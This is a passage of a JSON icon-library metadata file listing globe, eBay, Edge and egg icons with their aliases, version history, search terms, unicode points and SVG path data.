        "path": "M177.8 63.2l10 17.4c2.8 4.8 4.2 10.3 4.2 15.9v41.4c0 3.9 1.6 7.7 4.3 10.4c6.2 6.2 16.5 5.7 22-1.2l13.6-17c4.7-5.9 12.9-7.7 19.6-4.3l15.2 7.6c3.4 1.7 7.2 2.6 11 2.6c6.5 0 12.8-2.6 17.4-7.2l3.9-3.9c2.9-2.9 7.3-3.6 11-1.8l29.2 14.6c7.8 3.9 12.6 11.8 12.6 20.5c0 10.5-7.1 19.6-17.3 22.2l-35.4 8.8c-7.4 1.8-15.1 1.5-22.4-.9l-32-10.7c-3.3-1.1-6.7-1.7-10.2-1.7c-7 0-13.8 2.3-19.4 6.5L176 212c-10.1 7.6-16 19.4-16 32v28c0 26.5 21.5 48 48 48h32c8.8 0 16 7.2 16 16v48c0 17.7 14.3 32 32 32c10.1 0 19.6-4.7 25.6-12.8l25.6-34.1c8.3-11.1 12.8-24.6 12.8-38.4V318.6c0-3.9 2.6-7.3 6.4-8.2l5.3-1.3c11.9-3 20.3-13.7 20.3-26c0-7.1-2.8-13.9-7.8-18.9l-33.5-33.5c-3.7-3.7-3.7-9.7 0-13.4c5.7-5.7 14.1-7.7 21.8-5.1l14.1 4.7c12.3 4.1 25.7-1.5 31.5-13c3.5-7 11.2-10.8 18.9-9.2l27.4 5.5C432 112.4 351.5 48 256 48c-27.7 0-54 5.4-78.2 15.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "earth-americas": {
    "aliases": {
      "names": ["earth", "earth-america", "globe-americas"],
      "unicodes": {
        "composite": ["1f30e"],
        "secondary": ["10f57d"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "america",
        "country",
        "earth",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57d",
    "label": "Earth Americas",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M57.7 193l9.4 16.4c8.3 14.5 21.9 25.2 38 29.8L163 255.7c17.2 4.9 29 20.6 29 38.5v39.9c0 11 6.2 21 16 25.9s16 14.9 16 25.9v39c0 15.6 14.9 26.9 29.9 22.6c16.1-4.6 28.6-17.5 32.7-33.8l2.8-11.2c4.2-16.9 15.2-31.4 30.3-40l8.1-4.6c15-8.5 24.2-24.5 24.2-41.7v-8.3c0-12.7-5.1-24.9-14.1-33.9l-3.9-3.9c-9-9-21.2-14.1-33.9-14.1H257c-11.1 0-22.1-2.9-31.8-8.4l-34.5-19.7c-4.3-2.5-7.6-6.5-9.2-11.2c-3.2-9.6 1.1-20 10.2-24.5l5.9-3c6.6-3.3 14.3-3.9 21.3-1.5l23.2 7.7c8.2 2.7 17.2-.4 21.9-7.5c4.7-7 4.2-16.3-1.2-22.8l-13.6-16.3c-10-12-9.9-29.5 .3-41.3l15.7-18.3c8.8-10.3 10.2-25 3.5-36.7l-2.4-4.2c-3.5-.2-6.9-.3-10.4-.3C163.1 48 84.4 108.9 57.7 193zM464 256c0-36.8-9.6-71.4-26.4-101.5L412 164.8c-15.7 6.3-23.8 23.8-18.5 39.8l16.9 50.7c3.5 10.4 12 18.3 22.6 20.9l29.1 7.3c1.2-9 1.8-18.2 1.8-27.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M57.7 193l9.4 16.4c8.3 14.5 21.9 25.2 38 29.8L163 255.7c17.2 4.9 29 20.6 29 38.5v39.9c0 11 6.2 21 16 25.9s16 14.9 16 25.9v39c0 15.6 14.9 26.9 29.9 22.6c16.1-4.6 28.6-17.5 32.7-33.8l2.8-11.2c4.2-16.9 15.2-31.4 30.3-40l8.1-4.6c15-8.5 24.2-24.5 24.2-41.7v-8.3c0-12.7-5.1-24.9-14.1-33.9l-3.9-3.9c-9-9-21.2-14.1-33.9-14.1H257c-11.1 0-22.1-2.9-31.8-8.4l-34.5-19.7c-4.3-2.5-7.6-6.5-9.2-11.2c-3.2-9.6 1.1-20 10.2-24.5l5.9-3c6.6-3.3 14.3-3.9 21.3-1.5l23.2 7.7c8.2 2.7 17.2-.4 21.9-7.5c4.7-7 4.2-16.3-1.2-22.8l-13.6-16.3c-10-12-9.9-29.5 .3-41.3l15.7-18.3c8.8-10.3 10.2-25 3.5-36.7l-2.4-4.2c-3.5-.2-6.9-.3-10.4-.3C163.1 48 84.4 108.9 57.7 193zM464 256c0-36.8-9.6-71.4-26.4-101.5L412 164.8c-15.7 6.3-23.8 23.8-18.5 39.8l16.9 50.7c3.5 10.4 12 18.3 22.6 20.9l29.1 7.3c1.2-9 1.8-18.2 1.8-27.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256z"
      }
    },
    "free": ["solid"]
  },
  "earth-asia": {
    "aliases": {
      "names": ["globe-asia"],
      "unicodes": {
        "composite": ["1f30f"],
        "secondary": ["10f57e"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "asia",
        "australia",
        "country",
        "earth",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57e",
    "label": "Earth Asia",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M51.7 295.1l31.7 6.3c7.9 1.6 16-.9 21.7-6.6l15.4-15.4c11.6-11.6 31.1-8.4 38.4 6.2l9.3 18.5c4.8 9.6 14.6 15.7 25.4 15.7c15.2 0 26.1-14.6 21.7-29.2l-6-19.9c-4.6-15.4 6.9-30.9 23-30.9h2.3c13.4 0 25.9-6.7 33.3-17.8l10.7-16.1c5.6-8.5 5.3-19.6-.8-27.7l-16.1-21.5c-10.3-13.7-3.3-33.5 13.4-37.7l17-4.3c7.5-1.9 13.6-7.2 16.5-14.4l16.4-40.9C303.4 52.1 280.2 48 256 48C141.1 48 48 141.1 48 256c0 13.4 1.3 26.5 3.7 39.1zm407.7 4.6c-3-.3-6-.1-9 .8l-15.8 4.4c-6.7 1.9-13.8-.9-17.5-6.7l-2-3.1c-6-9.4-16.4-15.1-27.6-15.1s-21.6 5.7-27.6 15.1l-6.1 9.5c-1.4 2.2-3.4 4.1-5.7 5.3L312 330.1c-18.1 10.1-25.5 32.4-17 51.3l5.5 12.4c8.6 19.2 30.7 28.5 50.5 21.1l2.6-1c10-3.7 21.3-2.2 29.9 4.1l1.5 1.1c37.2-29.5 64.1-71.4 74.4-119.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm144.5 92.1c-2.1 8.6 3.1 17.3 11.6 19.4l32 8c8.6 2.1 17.3-3.1 19.4-11.6s-3.1-17.3-11.6-19.4l-32-8c-8.6-2.1-17.3 3.1-19.4 11.6zm92-20c-2.1 8.6 3.1 17.3 11.6 19.4s17.3-3.1 19.4-11.6l8-32c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-8 32zM343.2 113.7c-7.9-4-17.5-.7-21.5 7.2l-16 32c-4 7.9-.7 17.5 7.2 21.5s17.5 .7 21.5-7.2l16-32c4-7.9 .7-17.5-7.2-21.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M51.7 295.1l31.7 6.3c7.9 1.6 16-.9 21.7-6.6l15.4-15.4c11.6-11.6 31.1-8.4 38.4 6.2l9.3 18.5c4.8 9.6 14.6 15.7 25.4 15.7c15.2 0 26.1-14.6 21.7-29.2l-6-19.9c-4.6-15.4 6.9-30.9 23-30.9h2.3c13.4 0 25.9-6.7 33.3-17.8l10.7-16.1c5.6-8.5 5.3-19.6-.8-27.7l-16.1-21.5c-10.3-13.7-3.3-33.5 13.4-37.7l17-4.3c7.5-1.9 13.6-7.2 16.5-14.4l16.4-40.9C303.4 52.1 280.2 48 256 48C141.1 48 48 141.1 48 256c0 13.4 1.3 26.5 3.7 39.1zm407.7 4.6c-3-.3-6-.1-9 .8l-15.8 4.4c-6.7 1.9-13.8-.9-17.5-6.7l-2-3.1c-6-9.4-16.4-15.1-27.6-15.1s-21.6 5.7-27.6 15.1l-6.1 9.5c-1.4 2.2-3.4 4.1-5.7 5.3L312 330.1c-18.1 10.1-25.5 32.4-17 51.3l5.5 12.4c8.6 19.2 30.7 28.5 50.5 21.1l2.6-1c10-3.7 21.3-2.2 29.9 4.1l1.5 1.1c37.2-29.5 64.1-71.4 74.4-119.5zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm144.5 92.1c-2.1 8.6 3.1 17.3 11.6 19.4l32 8c8.6 2.1 17.3-3.1 19.4-11.6s-3.1-17.3-11.6-19.4l-32-8c-8.6-2.1-17.3 3.1-19.4 11.6zm92-20c-2.1 8.6 3.1 17.3 11.6 19.4s17.3-3.1 19.4-11.6l8-32c2.1-8.6-3.1-17.3-11.6-19.4s-17.3 3.1-19.4 11.6l-8 32zM343.2 113.7c-7.9-4-17.5-.7-21.5 7.2l-16 32c-4 7.9-.7 17.5 7.2 21.5s17.5 .7 21.5-7.2l16-32c4-7.9 .7-17.5-7.2-21.5z"
      }
    },
    "free": ["solid"]
  },
  "earth-europe": {
    "aliases": {
      "names": ["globe-europe"],
      "unicodes": {
        "secondary": ["10f7a2"]
      }
    },
    "changes": [
      "5.6.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "country",
        "earth",
        "europe",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "online",
        "place",
        "planet",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7a2",
    "label": "Earth Europe",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M266.3 48.3L232.5 73.6c-5.4 4-8.5 10.4-8.5 17.1v9.1c0 6.8 5.5 12.3 12.3 12.3c2.4 0 4.8-.7 6.8-2.1l41.8-27.9c2-1.3 4.4-2.1 6.8-2.1h1c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8l-19.9 19.9c-5.8 5.8-12.9 10.2-20.7 12.8l-26.5 8.8c-5.8 1.9-9.6 7.3-9.6 13.4c0 3.7-1.5 7.3-4.1 10l-17.9 17.9c-6.4 6.4-9.9 15-9.9 24v4.3c0 16.4 13.6 29.7 29.9 29.7c11 0 21.2-6.2 26.1-16l4-8.1c2.4-4.8 7.4-7.9 12.8-7.9c4.5 0 8.7 2.1 11.4 5.7l16.3 21.7c2.1 2.9 5.5 4.5 9.1 4.5c8.4 0 13.9-8.9 10.1-16.4l-1.1-2.3c-3.5-7 0-15.5 7.5-18l21.2-7.1c7.6-2.5 12.7-9.6 12.7-17.6c0-10.3 8.3-18.6 18.6-18.6H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H379.3c-7.2 0-14.2 2.9-19.3 8l-4.7 4.7c-2.1 2.1-3.3 5-3.3 8c0 6.2 5.1 11.3 11.3 11.3h11.3c6 0 11.8 2.4 16 6.6l6.5 6.5c1.8 1.8 2.8 4.3 2.8 6.8s-1 5-2.8 6.8l-7.5 7.5C386 262 384 266.9 384 272s2 10 5.7 13.7L408 304c10.2 10.2 24.1 16 38.6 16H454c6.5-20.2 10-41.7 10-64c0-111.4-87.6-202.4-197.7-207.7zm172 307.9c-3.7-2.6-8.2-4.1-13-4.1c-6 0-11.8-2.4-16-6.6L396 332c-7.7-7.7-18-12-28.9-12c-9.7 0-19.2-3.5-26.6-9.8L314 287.4c-11.6-9.9-26.4-15.4-41.7-15.4H251.4c-12.6 0-25 3.7-35.5 10.7L188.5 301c-17.8 11.9-28.5 31.9-28.5 53.3v3.2c0 17 6.7 33.3 18.7 45.3l16 16c8.5 8.5 20 13.3 32 13.3H248c13.3 0 24 10.7 24 24c0 2.5 .4 5 1.1 7.3c71.3-5.8 132.5-47.6 165.2-107.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM187.3 100.7c-6.2-6.2-16.4-6.2-22.6 0l-32 32c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l32-32c6.2-6.2 6.2-16.4 0-22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M266.3 48.3L232.5 73.6c-5.4 4-8.5 10.4-8.5 17.1v9.1c0 6.8 5.5 12.3 12.3 12.3c2.4 0 4.8-.7 6.8-2.1l41.8-27.9c2-1.3 4.4-2.1 6.8-2.1h1c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8l-19.9 19.9c-5.8 5.8-12.9 10.2-20.7 12.8l-26.5 8.8c-5.8 1.9-9.6 7.3-9.6 13.4c0 3.7-1.5 7.3-4.1 10l-17.9 17.9c-6.4 6.4-9.9 15-9.9 24v4.3c0 16.4 13.6 29.7 29.9 29.7c11 0 21.2-6.2 26.1-16l4-8.1c2.4-4.8 7.4-7.9 12.8-7.9c4.5 0 8.7 2.1 11.4 5.7l16.3 21.7c2.1 2.9 5.5 4.5 9.1 4.5c8.4 0 13.9-8.9 10.1-16.4l-1.1-2.3c-3.5-7 0-15.5 7.5-18l21.2-7.1c7.6-2.5 12.7-9.6 12.7-17.6c0-10.3 8.3-18.6 18.6-18.6H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H379.3c-7.2 0-14.2 2.9-19.3 8l-4.7 4.7c-2.1 2.1-3.3 5-3.3 8c0 6.2 5.1 11.3 11.3 11.3h11.3c6 0 11.8 2.4 16 6.6l6.5 6.5c1.8 1.8 2.8 4.3 2.8 6.8s-1 5-2.8 6.8l-7.5 7.5C386 262 384 266.9 384 272s2 10 5.7 13.7L408 304c10.2 10.2 24.1 16 38.6 16H454c6.5-20.2 10-41.7 10-64c0-111.4-87.6-202.4-197.7-207.7zm172 307.9c-3.7-2.6-8.2-4.1-13-4.1c-6 0-11.8-2.4-16-6.6L396 332c-7.7-7.7-18-12-28.9-12c-9.7 0-19.2-3.5-26.6-9.8L314 287.4c-11.6-9.9-26.4-15.4-41.7-15.4H251.4c-12.6 0-25 3.7-35.5 10.7L188.5 301c-17.8 11.9-28.5 31.9-28.5 53.3v3.2c0 17 6.7 33.3 18.7 45.3l16 16c8.5 8.5 20 13.3 32 13.3H248c13.3 0 24 10.7 24 24c0 2.5 .4 5 1.1 7.3c71.3-5.8 132.5-47.6 165.2-107.2zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zM187.3 100.7c-6.2-6.2-16.4-6.2-22.6 0l-32 32c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0l32-32c6.2-6.2 6.2-16.4 0-22.6z"
      }
    },
    "free": ["solid"]
  },
  "earth-oceania": {
    "aliases": {
      "names": ["globe-oceania"]
    },
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "all",
        "australia",
        "country",
        "earth",
        "global",
        "globe",
        "gps",
        "language",
        "localize",
        "location",
        "map",
        "melanesia",
        "micronesia",
        "new zealand",
        "online",
        "place",
        "planet",
        "polynesia",
        "translate",
        "travel",
        "world"
      ]
    },
    "styles": ["solid"],
    "unicode": "e47b",
    "label": "Earth Oceania",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM208.6 357.3l-39-13.5c-6.5-2.2-13.6-2.3-20.1-.3l-15.3 4.9c-18.5 5.9-38.5-2.4-47.5-19.5l-3.3-6.2c-10.6-20.1-2.3-45 18.2-54.7l35.3-16.8c2.3-1.1 4.4-2.8 5.9-4.8l5.3-7c7.2-9.6 18.6-15.3 30.6-15.3s23.4 5.7 30.6 15.3l4.6 6.1c2 2.6 4.9 4.5 8.1 5.1c7.8 1.6 15.7-1.5 20.4-7.9l10.4-14.2c2-2.8 5.3-4.4 8.7-4.4c4.4 0 8.4 2.7 10 6.8l10.1 25.9c2.8 7.2 6.7 14 11.5 20.2L311 299.8c5.8 7.4 9 16.6 9 26s-3.2 18.6-9 26L299 367.2c-8.3 10.6-21 16.8-34.4 16.8c-8.4 0-16.6-2.4-23.7-7l-25.4-16.4c-2.2-1.4-4.5-2.5-6.9-3.4zm65.2-214.8L296 164.7c10.1 10.1 2.9 27.3-11.3 27.3H254.8c-5.6 0-11.1-1.2-16.2-3.4l-42.8-19c-14.3-6.3-11.9-27.3 3.4-30.3l38.5-7.7c13.1-2.6 26.7 1.5 36.1 10.9zM248 432c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H264c-8.8 0-16-7.2-16-16zM431.2 298.9l8 24c2.8 8.4-1.7 17.4-10.1 20.2s-17.4-1.7-20.2-10.1l-8-24c-2.8-8.4 1.7-17.4 10.1-20.2s17.4 1.7 20.2 10.1zm-19.9 80.4l-32 32c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l32-32c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM208.6 357.3l-39-13.5c-6.5-2.2-13.6-2.3-20.1-.3l-15.3 4.9c-18.5 5.9-38.5-2.4-47.5-19.5l-3.3-6.2c-10.6-20.1-2.3-45 18.2-54.7l35.3-16.8c2.3-1.1 4.4-2.8 5.9-4.8l5.3-7c7.2-9.6 18.6-15.3 30.6-15.3s23.4 5.7 30.6 15.3l4.6 6.1c2 2.6 4.9 4.5 8.1 5.1c7.8 1.6 15.7-1.5 20.4-7.9l10.4-14.2c2-2.8 5.3-4.4 8.7-4.4c4.4 0 8.4 2.7 10 6.8l10.1 25.9c2.8 7.2 6.7 14 11.5 20.2L311 299.8c5.8 7.4 9 16.6 9 26s-3.2 18.6-9 26L299 367.2c-8.3 10.6-21 16.8-34.4 16.8c-8.4 0-16.6-2.4-23.7-7l-25.4-16.4c-2.2-1.4-4.5-2.5-6.9-3.4zm65.2-214.8L296 164.7c10.1 10.1 2.9 27.3-11.3 27.3H254.8c-5.6 0-11.1-1.2-16.2-3.4l-42.8-19c-14.3-6.3-11.9-27.3 3.4-30.3l38.5-7.7c13.1-2.6 26.7 1.5 36.1 10.9zM248 432c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16s-7.2 16-16 16H264c-8.8 0-16-7.2-16-16zM431.2 298.9l8 24c2.8 8.4-1.7 17.4-10.1 20.2s-17.4-1.7-20.2-10.1l-8-24c-2.8-8.4 1.7-17.4 10.1-20.2s17.4 1.7 20.2 10.1zm-19.9 80.4l-32 32c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6l32-32c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
    "free": ["solid"]
  },
  "ebay": {
    "changes": ["5.0.11", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f4",
    "label": "eBay",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M606 189.5l-54.8 109.9-54.9-109.9h-37.5l10.9 20.6c-11.5-19-35.9-26-63.3-26-31.8 0-67.9 8.7-71.5 43.1h33.7c1.4-13.8 15.7-21.8 35-21.8 26 0 41 9.6 41 33v3.4c-12.7 0-28 .1-41.7.4-42.4.9-69.6 10-76.7 34.4 1-5.2 1.5-10.6 1.5-16.2 0-52.1-39.7-76.2-75.4-76.2-21.3 0-43 5.5-58.7 24.2v-80.6h-32.1v169.5c0 10.3-.6 22.9-1.1 33.1h31.5c.7-6.3 1.1-12.9 1.1-19.5 13.6 16.6 35.4 24.9 58.7 24.9 36.9 0 64.9-21.9 73.3-54.2-.5 2.8-.7 5.8-.7 9 0 24.1 21.1 45 60.6 45 26.6 0 45.8-5.7 61.9-25.5 0 6.6.3 13.3 1.1 20.2h29.8c-.7-8.2-1-17.5-1-26.8v-65.6c0-9.3-1.7-17.2-4.8-23.8l61.5 116.1-28.5 54.1h35.9L640 189.5zM243.7 313.8c-29.6 0-50.2-21.5-50.2-53.8 0-32.4 20.6-53.8 50.2-53.8 29.8 0 50.2 21.4 50.2 53.8 0 32.3-20.4 53.8-50.2 53.8zm200.9-47.3c0 30-17.9 48.4-51.6 48.4-25.1 0-35-13.4-35-25.8 0-19.1 18.1-24.4 47.2-25.3 13.1-.5 27.6-.6 39.4-.6zm-411.9 1.6h128.8v-8.5c0-51.7-33.1-75.4-78.4-75.4-56.8 0-83 30.8-83 77.6 0 42.5 25.3 74 82.5 74 31.4 0 68-11.7 74.4-46.1h-33.1c-12 35.8-87.7 36.7-91.2-21.6zm95-21.4H33.3c6.9-56.6 92.1-54.7 94.4 0z"
      }
    },
    "free": ["brands"]
  },
  "edge": {
    "changes": ["4.5.0", "5.0.0", "5.12.1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["browser", "ie"]
    },
    "styles": ["brands"],
    "unicode": "f282",
    "label": "Edge Browser",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M120.1 37.44C161.1 12.23 207.7-.7753 255 .0016C423 .0016 512 123.8 512 219.5C511.9 252.2 499 283.4 476.1 306.7C453.2 329.9 422.1 343.2 389.4 343.7C314.2 343.7 297.9 320.6 297.9 311.7C297.9 307.9 299.1 305.5 302.7 302.3L303.7 301.1L304.1 299.5C314.6 288 320 273.3 320 257.9C320 179.2 237.8 115.2 136 115.2C98.46 114.9 61.46 124.1 28.48 142.1C55.48 84.58 111.2 44.5 119.8 38.28C120.6 37.73 120.1 37.44 120.1 37.44V37.44zM135.7 355.5C134.3 385.5 140.3 415.5 152.1 442.7C165.7 469.1 184.8 493.7 208.6 512C149.1 500.5 97.11 468.1 59.2 422.7C21.12 376.3 0 318.4 0 257.9C0 206.7 62.4 163.5 136 163.5C172.6 162.9 208.4 174.4 237.8 196.2L234.2 197.4C182.7 215 135.7 288.1 135.7 355.5V355.5zM469.8 400L469.1 400.1C457.3 418.9 443.2 435.2 426.9 449.6C396.1 477.6 358.8 495.1 318.1 499.5C299.5 499.8 281.3 496.3 264.3 488.1C238.7 477.8 217.2 458.1 202.7 435.1C188.3 411.2 181.6 383.4 183.7 355.5C183.1 335.4 189.1 315.2 198.7 297.3C212.6 330.4 236.2 358.6 266.3 378.1C296.4 397.6 331.8 407.6 367.7 406.7C398.7 407 429.8 400 457.9 386.2L459.8 385.3C463.7 383 467.5 381.4 471.4 385.3C475.9 390.2 473.2 394.5 470.2 399.3C470 399.5 469.9 399.8 469.8 400V400z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M120.1 37.44C161.1 12.23 207.7-.7753 255 .0016C423 .0016 512 123.8 512 219.5C511.9 252.2 499 283.4 476.1 306.7C453.2 329.9 422.1 343.2 389.4 343.7C314.2 343.7 297.9 320.6 297.9 311.7C297.9 307.9 299.1 305.5 302.7 302.3L303.7 301.1L304.1 299.5C314.6 288 320 273.3 320 257.9C320 179.2 237.8 115.2 136 115.2C98.46 114.9 61.46 124.1 28.48 142.1C55.48 84.58 111.2 44.5 119.8 38.28C120.6 37.73 120.1 37.44 120.1 37.44V37.44zM135.7 355.5C134.3 385.5 140.3 415.5 152.1 442.7C165.7 469.1 184.8 493.7 208.6 512C149.1 500.5 97.11 468.1 59.2 422.7C21.12 376.3 0 318.4 0 257.9C0 206.7 62.4 163.5 136 163.5C172.6 162.9 208.4 174.4 237.8 196.2L234.2 197.4C182.7 215 135.7 288.1 135.7 355.5V355.5zM469.8 400L469.1 400.1C457.3 418.9 443.2 435.2 426.9 449.6C396.1 477.6 358.8 495.1 318.1 499.5C299.5 499.8 281.3 496.3 264.3 488.1C238.7 477.8 217.2 458.1 202.7 435.1C188.3 411.2 181.6 383.4 183.7 355.5C183.1 335.4 189.1 315.2 198.7 297.3C212.6 330.4 236.2 358.6 266.3 378.1C296.4 397.6 331.8 407.6 367.7 406.7C398.7 407 429.8 400 457.9 386.2L459.8 385.3C463.7 383 467.5 381.4 471.4 385.3C475.9 390.2 473.2 394.5 470.2 399.3C470 399.5 469.9 399.8 469.8 400V400z"
      }
    },
    "free": ["brands"]
  },
  "edge-legacy": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e078",
    "label": "Edge Legacy Browser",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M25.71,228.16l.35-.48c0,.16,0,.32-.07.48Zm460.58,15.51c0-44-7.76-84.46-28.81-122.4C416.5,47.88,343.91,8,258.89,8,119,7.72,40.62,113.21,26.06,227.68c42.42-61.31,117.07-121.38,220.37-125,0,0,109.67,0,99.42,105H170c6.37-37.39,18.55-59,34.34-78.93-75.05,34.9-121.85,96.1-120.75,188.32.83,71.45,50.13,144.84,120.75,172,83.35,31.84,192.77,7.2,240.13-21.33V363.31C363.6,419.8,173.6,424.23,172.21,295.74H486.29V243.67Z"
      }
    },
    "free": ["brands"]
  },
  "egg": {
    "aliases": {
      "unicodes": {
        "composite": ["1f95a"],
        "secondary": ["10f7fb"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breakfast",
        "chicken",
        "easter",
        "egg",
        "food",
        "shell",
        "yolk"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7fb",
    "label": "Egg",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
